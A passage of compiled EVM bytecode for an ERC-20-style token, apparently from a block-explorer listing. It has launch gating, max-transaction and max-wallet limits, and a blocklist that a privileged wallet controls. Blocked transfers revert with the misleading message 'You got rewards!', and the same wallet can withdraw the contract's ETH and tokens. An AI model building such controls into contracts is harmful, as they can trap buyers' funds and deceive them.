77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613dc26025836132ff565b9150613dcd82613d66565b604082019050919050565b60006020820190508181036000830152613df181613db5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613e32826132c0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613e6557613e64613a8a565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613ecc6026836132ff565b9150613ed782613e70565b604082019050919050565b60006020820190508181036000830152613efb81613ebf565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613f5e6024836132ff565b9150613f6982613f02565b604082019050919050565b60006020820190508181036000830152613f8d81613f51565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ff06022836132ff565b9150613ffb82613f94565b604082019050919050565b6000602082019050818103600083015261401f81613fe3565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006140826029836132ff565b915061408d82614026565b604082019050919050565b600060208201905081810360008301526140b181614075565b9050919050565b7f596f7520676f7420726577617264732100000000000000000000000000000000600082015250565b60006140ee6010836132ff565b91506140f9826140b8565b602082019050919050565b6000602082019050818103600083015261411d816140e1565b9050919050565b7f54726164696e67206e6f74206163746976652079657400000000000000000000600082015250565b600061415a6016836132ff565b915061416582614124565b602082019050919050565b600060208201905081810360008301526141898161414d565b9050919050565b7f596f752061726520657863656564696e67206d61785478416d6f756e74000000600082015250565b60006141c6601d836132ff565b91506141d182614190565b602082019050919050565b600060208201905081810360008301526141f5816141b9565b9050919050565b7f596f752061726520657863656564696e67206d617857616c6c6574416d6f756e60008201527f7400000000000000000000000000000000000000000000000000000000000000602082015250565b60006142586021836132ff565b9150614263826141fc565b604082019050919050565b600060208201905081810360008301526142878161424b565b9050919050565b60008151905061429d81613474565b92915050565b6000602082840312156142b9576142b86133b9565b5b60006142c78482850161428e565b91505092915050565b6000819050919050565b60006142f56142f06142eb846142d0565b613943565b6132c0565b9050919050565b614305816142da565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61434081613462565b82525050565b60006143528383614337565b60208301905092915050565b6000602082019050919050565b60006143768261430b565b6143808185614316565b935061438b83614327565b8060005b838110156143bc5781516143a38882614346565b97506143ae8361435e565b92505060018101905061438f565b5085935050505092915050565b600060a0820190506143de60008301886132ca565b6143eb60208301876142fc565b81810360408301526143fd818661436b565b905061440c6060830185613516565b61441960808301846132ca565b9695505050505050565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b6000614459601d836132ff565b915061446482614423565b602082019050919050565b600060208201905081810360008301526144888161444c565b9050919050565b600081905092915050565b50565b60006144aa60008361448f565b91506144b58261449a565b600082019050919050565b60006144cb8261449d565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b6000614531603a836132ff565b915061453c826144d5565b604082019050919050565b6000602082019050818103600083015261456081614524565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006145c36025836132ff565b91506145ce82614567565b604082019050919050565b600060208201905081810360008301526145f2816145b6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006146556023836132ff565b9150614660826145f9565b604082019050919050565b6000602082019050818103600083015261468481614648565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006146e76026836132ff565b91506146f28261468b565b604082019050919050565b60006020820190508181036000830152614716816146da565b9050919050565b600060c0820190506147326000830189613516565b61473f60208301886132ca565b61474c60408301876142fc565b61475960608301866142fc565b6147666080830185613516565b61477360a08301846132ca565b979650505050505050565b60008151905061478d816133c3565b92915050565b6000806000606084860312156147ac576147ab6133b9565b5b60006147ba8682870161477e565b93505060206147cb8682870161477e565b92505060406147dc8682870161477e565b915050925092509256fea2646970667358221220c0d33d70faa7691fb6f53ceeb8747095086c017c68be35c208c609d44a58f27c64736f6c634300080c0033

Deployed Bytecode

0x6080604052600436106102975760003560e01c806375f0a8741161015a578063aacebbe3116100c1578063e01af92c1161007a578063e01af92c14610a27578063e545fd6d14610a50578063e9dae5ed14610a79578063f2fde38b14610aa2578063f66895a314610acb578063f887ea4014610af85761029e565b8063aacebbe3146108f5578063b62ad5eb1461091e578063c18bc19514610947578063cd18d5a414610970578063dbe66ca0146109ad578063dd62ed3e146109ea5761029e565b80639d0014b1116101135780639d0014b1146107d35780639e252f00146107fc578063a457c2d714610825578063a8aa1b3114610862578063a9059cbb1461088d578063aa4bde28146108ca5761029e565b806375f0a874146106d557806382aa7c68146107005780638c0b5e22146107295780638cd4426d146107545780638da5cb5b1461077d57806395d89b41146107a85761029e565b806335a7f06b116101fe5780636ddd1713116101b75780636ddd1713146105d5578063703a49021461060057806370a0823114610629578063715018a614610666578063728f8eea1461067d578063751039fc146106aa5761029e565b806335a7f06b146104c757806339509351146104f057806340b28c2f1461052d5780634ada218b1461055657806350c9a88f146105815780636256d181146105ac5761029e565b80632253163d116102505780632253163d146103b557806323b872dd146103e057806326b5d32f1461041d578063274a533c14610446578063293b7ef414610471578063313ce5671461049c5761029e565b80630445b667146102a357806306fdde03146102ce57806308733214146102f9578063095ea7b31461032257806318160ddd1461035f578063185870f91461038a5761029e565b3661029e57005b600080fd5b3480156102af57600080fd5b506102b8610b23565b6040516102c591906132d9565b60405180910390f35b3480156102da57600080fd5b506102e3610b29565b6040516102f0919061338d565b60405180910390f35b34801561030557600080fd5b50610320600480360381019061031b91906133ef565b610bbb565b005b34801561032e57600080fd5b50610349600480360381019061034491906134a0565b610c97565b60405161035691906134fb565b60405180910390f35b34801561036b57600080fd5b50610374610cb5565b60405161038191906132d9565b60405180910390f35b34801561039657600080fd5b5061039f610cbf565b6040516103ac9190613525565b60405180910390f35b3480156103c157600080fd5b506103ca610ce5565b6040516103d791906132d9565b60405180910390f35b3480156103ec57600080fd5b5061040760048036038101906104029190613540565b610ceb565b60405161041491906134fb565b60405180910390f35b34801561042957600080fd5b50610444600480360381019061043f91906133ef565b610dec565b005b34801561045257600080fd5b5061045b610f57565b60405161046891906132d9565b60405180910390f35b34801561047d57600080fd5b50610486610f5d565b60405161049391906132d9565b60405180910390f35b3480156104a857600080fd5b506104b1610f63565b6040516104be91906135af565b60405180910390f35b3480156104d357600080fd5b506104ee60048036038101906104e991906135ca565b610f6c565b005b3480156104fc57600080fd5b50610517600480360381019061051291906134a0565b611021565b60405161052491906134fb565b60405180910390f35b34801561053957600080fd5b50610554600480360381019061054f9190613635565b6110cd565b005b34801561056257600080fd5b5061056b6111cf565b60405161057891906134fb565b60405180910390f35b34801561058d57600080fd5b506105966111e2565b6040516105a391906132d9565b60405180910390f35b3480156105b857600080fd5b506105d360048036038101906105ce9190613675565b6111e8565b005b3480156105e157600080fd5b506105ea611281565b6040516105f791906134fb565b60405180910390f35b34801561060c57600080fd5b50610627600480360381019061062291906135ca565b611294565b005b34801561063557600080fd5b50610650600480360381019061064b91906135ca565b611354565b60405161065d91906132d9565b60405180910390f35b34801561067257600080fd5b5061067b61139c565b005b34801561068957600080fd5b50610692611424565b6040516106a1939291906136a2565b60405180910390f35b3480156106b657600080fd5b506106bf61143c565b6040516106cc91906134fb565b60405180910390f35b3480156106e157600080fd5b506106ea6114dd565b6040516106f79190613525565b60405180910390f35b34801561070c57600080fd5b5061072760048036038101906107229190613675565b611503565b005b34801561073557600080fd5b5061073e611616565b60405161074b91906132d9565b60405180910390f35b34801561076057600080fd5b5061077b600480360381019061077691906134a0565b61161c565b005b34801561078957600080fd5b50610792611700565b60405161079f9190613525565b60405180910390f35b3480156107b457600080fd5b506107bd61172a565b6040516107ca919061338d565b60405180910390f35b3480156107df57600080fd5b506107fa60048036038101906107f59190613675565b6117bc565b005b34801561080857600080fd5b50610823600480360381019061081e9190613675565b611842565b005b34801561083157600080fd5b5061084c600480360381019061084791906134a0565b6118cf565b60405161085991906134fb565b60405180910390f35b34801561086e57600080fd5b506108776119c3565b6040516108849190613525565b60405180910390f35b34801561089957600080fd5b506108b460048036038101906108af91906134a0565b6119e9565b6040516108c191906134fb565b60405180910390f35b3480156108d657600080fd5b506108df611a07565b6040516108ec91906132d9565b60405180910390f35b34801561090157600080fd5b5061091c600480360381019061091791906135ca565b611a0d565b005b34801561092a57600080fd5b5061094560048036038101906109409190613821565b611acd565b005b34801561095357600080fd5b5061096e60048036038101906109699190613675565b611bbc565b005b34801561097c57600080fd5b50610997600480360381019061099291906135ca565b611c55565b6040516109a491906134fb565b60405180910390f35b3480156109b957600080fd5b506109d460048036038101906109cf91906135ca565b611c75565b6040516109e191906134fb565b60405180910390f35b3480156109f657600080fd5b50610a116004803603810190610a0c919061386a565b611c95565b604051610a1e91906132d9565b60405180910390f35b348015610a3357600080fd5b50610a4e6004803603810190610a4991906138d6565b611d1c565b005b348015610a5c57600080fd5b50610a776004803603810190610a729190613903565b611db5565b005b348015610a8557600080fd5b50610aa06004803603810190610a9b91906133ef565b611e8c565b005b348015610aae57600080fd5b50610ac96004803603810190610ac491906135ca565b611f68565b005b348015610ad757600080fd5b50610ae0612060565b604051610aef939291906136a2565b60405180910390f35b348015610b0457600080fd5b50610b0d612078565b604051610b1a91906139a2565b60405180910390f35b600a5481565b606060038054610b38906139ec565b80601f0160208091040260200160405190810160405280929190818152602001828054610b64906139ec565b8015610bb15780601f10610b8657610100808354040283529160200191610bb1565b820191906000526020600020905b815481529060010190602001808311610b9457829003601f168201915b5050505050905090565b610bc361209e565b73ffffffffffffffffffffffffffffffffffffffff16610be1611700565b73ffffffffffffffffffffffffffffffffffffffff1614610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90613a6a565b60405180910390fd5b6040518060600160405280848152602001838152602001828152506012600082015181600001556020820151816001015560408201518160020155905050808284610c829190613ab9565b610c8c9190613ab9565b601681905550505050565b6000610cab610ca461209e565b84846120a6565b6001905092915050565b6000600254905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b6000610cf8848484612271565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d4361209e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610dc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dba90613b81565b60405180910390fd5b610de085610dcf61209e565b8584610ddb9190613ba1565b6120a6565b60019150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e4657600080fd5b6000479050610e548461293b565b60008147610e629190613ba1565b90506000831115610eda57610ed98385610e7c9190613ab9565b8483610e889190613bd5565b610e929190613c5e565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612b7e90919063ffffffff16565b5b6000841115610f5057610f4f8385610ef29190613ab9565b8583610efe9190613bd5565b610f089190613c5e565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612b7e90919063ffffffff16565b5b5050505050565b60085481565b60155481565b60006012905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fc657600080fd5b6000601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006110c361102e61209e565b84846001600061103c61209e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110be9190613ab9565b6120a6565b6001905092915050565b6110d561209e565b73ffffffffffffffffffffffffffffffffffffffff166110f3611700565b73ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090613a6a565b60405180910390fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600760169054906101000a900460ff1681565b60095481565b6111f061209e565b73ffffffffffffffffffffffffffffffffffffffff1661120e611700565b73ffffffffffffffffffffffffffffffffffffffff1614611264576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125b90613a6a565b60405180910390fd5b670de0b6b3a7640000816112789190613bd5565b600b8190555050565b600760159054906101000a900460ff1681565b61129c61209e565b73ffffffffffffffffffffffffffffffffffffffff166112ba611700565b73ffffffffffffffffffffffffffffffffffffffff1614611310576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130790613a6a565b60405180910390fd5b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113a461209e565b73ffffffffffffffffffffffffffffffffffffffff166113c2611700565b73ffffffffffffffffffffffffffffffffffffffff1614611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140f90613a6a565b60405180910390fd5b6114226000612c72565b565b600f8060000154908060010154908060020154905083565b600061144661209e565b73ffffffffffffffffffffffffffffffffffffffff16611464611700565b73ffffffffffffffffffffffffffffffffffffffff16146114ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b190613a6a565b60405180910390fd5b6114c2610cb5565b600b819055506114d0610cb5565b600c819055506001905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61150b61209e565b73ffffffffffffffffffffffffffffffffffffffff16611529611700565b73ffffffffffffffffffffffffffffffffffffffff161461157f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157690613a6a565b60405180910390fd5b600760169054906101000a900460ff16156115cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c690613cdb565b60405180910390fd5b6001600760166101000a81548160ff0219169083151502179055506001600760156101000a81548160ff021916908315150217905550436008819055508060098190555050565b600b5481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461167657600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61169a611700565b836040518363ffffffff1660e01b81526004016116b8929190613cfb565b6020604051808303816000875af11580156116d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116fb9190613d39565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054611739906139ec565b80601f0160208091040260200160405190810160405280929190818152602001828054611765906139ec565b80156117b25780601f10611787576101008083540402835291602001916117b2565b820191906000526020600020905b81548152906001019060200180831161179557829003601f168201915b5050505050905090565b6117c461209e565b73ffffffffffffffffffffffffffffffffffffffff166117e2611700565b73ffffffffffffffffffffffffffffffffffffffff1614611838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182f90613a6a565b60405180910390fd5b80600a8190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189c57600080fd5b6118cc816118a8611700565b73ffffffffffffffffffffffffffffffffffffffff16612b7e90919063ffffffff16565b50565b600080600160006118de61209e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561199b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199290613dd8565b60405180910390fd5b6119b86119a661209e565b8585846119b39190613ba1565b6120a6565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006119fd6119f661209e565b8484612271565b6001905092915050565b600c5481565b611a1561209e565b73ffffffffffffffffffffffffffffffffffffffff16611a33611700565b73ffffffffffffffffffffffffffffffffffffffff1614611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8090613a6a565b60405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b2757600080fd5b60005b8151811015611bb857600160186000848481518110611b4c57611b4b613df8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611bb090613e27565b915050611b2a565b5050565b611bc461209e565b73ffffffffffffffffffffffffffffffffffffffff16611be2611700565b73ffffffffffffffffffffffffffffffffffffffff1614611c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2f90613a6a565b60405180910390fd5b670de0b6b3a764000081611c4c9190613bd5565b600c8190555050565b60186020528060005260406000206000915054906101000a900460ff1681565b60176020528060005260406000206000915054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611d2461209e565b73ffffffffffffffffffffffffffffffffffffffff16611d42611700565b73ffffffffffffffffffffffffffffffffffffffff1614611d98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8f90613a6a565b60405180910390fd5b80600760156101000a81548160ff02191690831515021790555050565b611dbd61209e565b73ffffffffffffffffffffffffffffffffffffffff16611ddb611700565b73ffffffffffffffffffffffffffffffffffffffff1614611e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2890613a6a565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611e9461209e565b73ffffffffffffffffffffffffffffffffffffffff16611eb2611700565b73ffffffffffffffffffffffffffffffffffffffff1614611f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eff90613a6a565b60405180910390fd5b604051806060016040528084815260200183815260200182815250600f600082015181600001556020820151816001015560408201518160020155905050808284611f539190613ab9565b611f5d9190613ab9565b601581905550505050565b611f7061209e565b73ffffffffffffffffffffffffffffffffffffffff16611f8e611700565b73ffffffffffffffffffffffffffffffffffffffff1614611fe4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fdb90613a6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204b90613ee2565b60405180910390fd5b61205d81612c72565b50565b60128060000154908060010154908060020154905083565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612116576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210d90613f74565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612186576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217d90614006565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161226491906132d9565b60405180910390a3505050565b600081116122b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ab90614098565b60405180910390fd5b601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156123585750601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612397576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238e90614104565b60405180910390fd5b601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561243b5750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124545750600760149054906101000a900460ff16155b1561271057600760169054906101000a900460ff166124a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249f90614170565b60405180910390fd5b436009546008546124b99190613ab9565b111561261c57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461256d576001601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461261b576001601860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b600b54811115612661576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612658906141dc565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461270f57600c54816126c384611354565b6126cd9190613ab9565b111561270e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127059061426e565b60405180910390fd5b5b5b6000600760149054906101000a900460ff16806127765750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806127ca5750601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156127d8576000905061286d565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561284f5760646016548361283e9190613bd5565b6128489190613c5e565b905061286c565b60646015548361285f9190613bd5565b6128699190613c5e565b90505b5b600760159054906101000a900460ff1680156128965750600760149054906101000a900460ff16155b80156128f05750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156128fc5750600081115b1561290a57612909612d38565b5b6129208484838561291b9190613ba1565b612f3c565b600081111561293557612934843083612f3c565b5b50505050565b6000600267ffffffffffffffff811115612958576129576136de565b5b6040519080825280602002602001820160405280156129865781602001602082028036833780820191505090505b509050308160008151811061299e5761299d613df8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612a45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a6991906142a3565b81600181518110612a7d57612a7c613df8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612ae430600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846120a6565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612b489594939291906143c9565b600060405180830381600087803b158015612b6257600080fd5b505af1158015612b76573d6000803e3d6000fd5b505050505050565b80471015612bc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bb89061446f565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff1682604051612be7906144c0565b60006040518083038185875af1925050503d8060008114612c24576040519150601f19603f3d011682016040523d82523d6000602084013e612c29565b606091505b5050905080612c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c6490614547565b60405180910390fd5b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600760149054906101000a900460ff16612f3a576001600760146101000a81548160ff0219169083151502179055506000612d7230611354565b9050600a548110612f1d5760006002601654612d8e9190613bd5565b905060008160126001015484612da49190613bd5565b612dae9190613c5e565b905060008184612dbe9190613ba1565b90506000479050612dce8261293b565b60008147612ddc9190613ba1565b9050600060126001015486612df19190613ba1565b82612dfc9190613c5e565b9050600060126001015482612e119190613bd5565b90506000811115612e2757612e2686826131bb565b5b6000601260000154600284612e3c9190613bd5565b612e469190613bd5565b90506000811115612e9d57612e9c81600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612b7e90919063ffffffff16565b5b6000601260020154600285612eb29190613bd5565b612ebc9190613bd5565b90506000811115612f1357612f1281600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612b7e90919063ffffffff16565b5b5050505050505050505b506000600760146101000a81548160ff0219169083151502179055505b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612fac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fa3906145d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561301c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130139061466b565b60405180910390fd5b6130278383836132bb565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156130ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130a4906146fd565b60405180910390fd5b81816130b99190613ba1565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546131499190613ab9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516131ad91906132d9565b60405180910390a350505050565b6131e830600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846120a6565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016132719695949392919061471d565b60606040518083038185885af115801561328f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132b49190614793565b5050505050565b505050565b6000819050919050565b6132d3816132c0565b82525050565b60006020820190506132ee60008301846132ca565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561332e578082015181840152602081019050613313565b8381111561333d576000848401525b50505050565b6000601f19601f8301169050919050565b600061335f826132f4565b61336981856132ff565b9350613379818560208601613310565b61338281613343565b840191505092915050565b600060208201905081810360008301526133a78184613354565b905092915050565b6000604051905090565b600080fd5b600080fd5b6133cc816132c0565b81146133d757600080fd5b50565b6000813590506133e9816133c3565b92915050565b600080600060608486031215613408576134076133b9565b5b6000613416868287016133da565b9350506020613427868287016133da565b9250506040613438868287016133da565b9150509250925092565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061346d82613442565b9050919050565b61347d81613462565b811461348857600080fd5b50565b60008135905061349a81613474565b92915050565b600080604083850312156134b7576134b66133b9565b5b60006134c58582860161348b565b92505060206134d6858286016133da565b9150509250929050565b60008115159050919050565b6134f5816134e0565b82525050565b600060208201905061351060008301846134ec565b92915050565b61351f81613462565b82525050565b600060208201905061353a6000830184613516565b92915050565b600080600060608486031215613559576135586133b9565b5b60006135678682870161348b565b93505060206135788682870161348b565b9250506040613589868287016133da565b9150509250925092565b600060ff82169050919050565b6135a981613593565b82525050565b60006020820190506135c460008301846135a0565b92915050565b6000602082840312156135e0576135df6133b9565b5b60006135ee8482850161348b565b91505092915050565b600061360282613462565b9050919050565b613612816135f7565b811461361d57600080fd5b50565b60008135905061362f81613609565b92915050565b6000806040838503121561364c5761364b6133b9565b5b600061365a85828601613620565b925050602061366b8582860161348b565b9150509250929050565b60006020828403121561368b5761368a6133b9565b5b6000613699848285016133da565b91505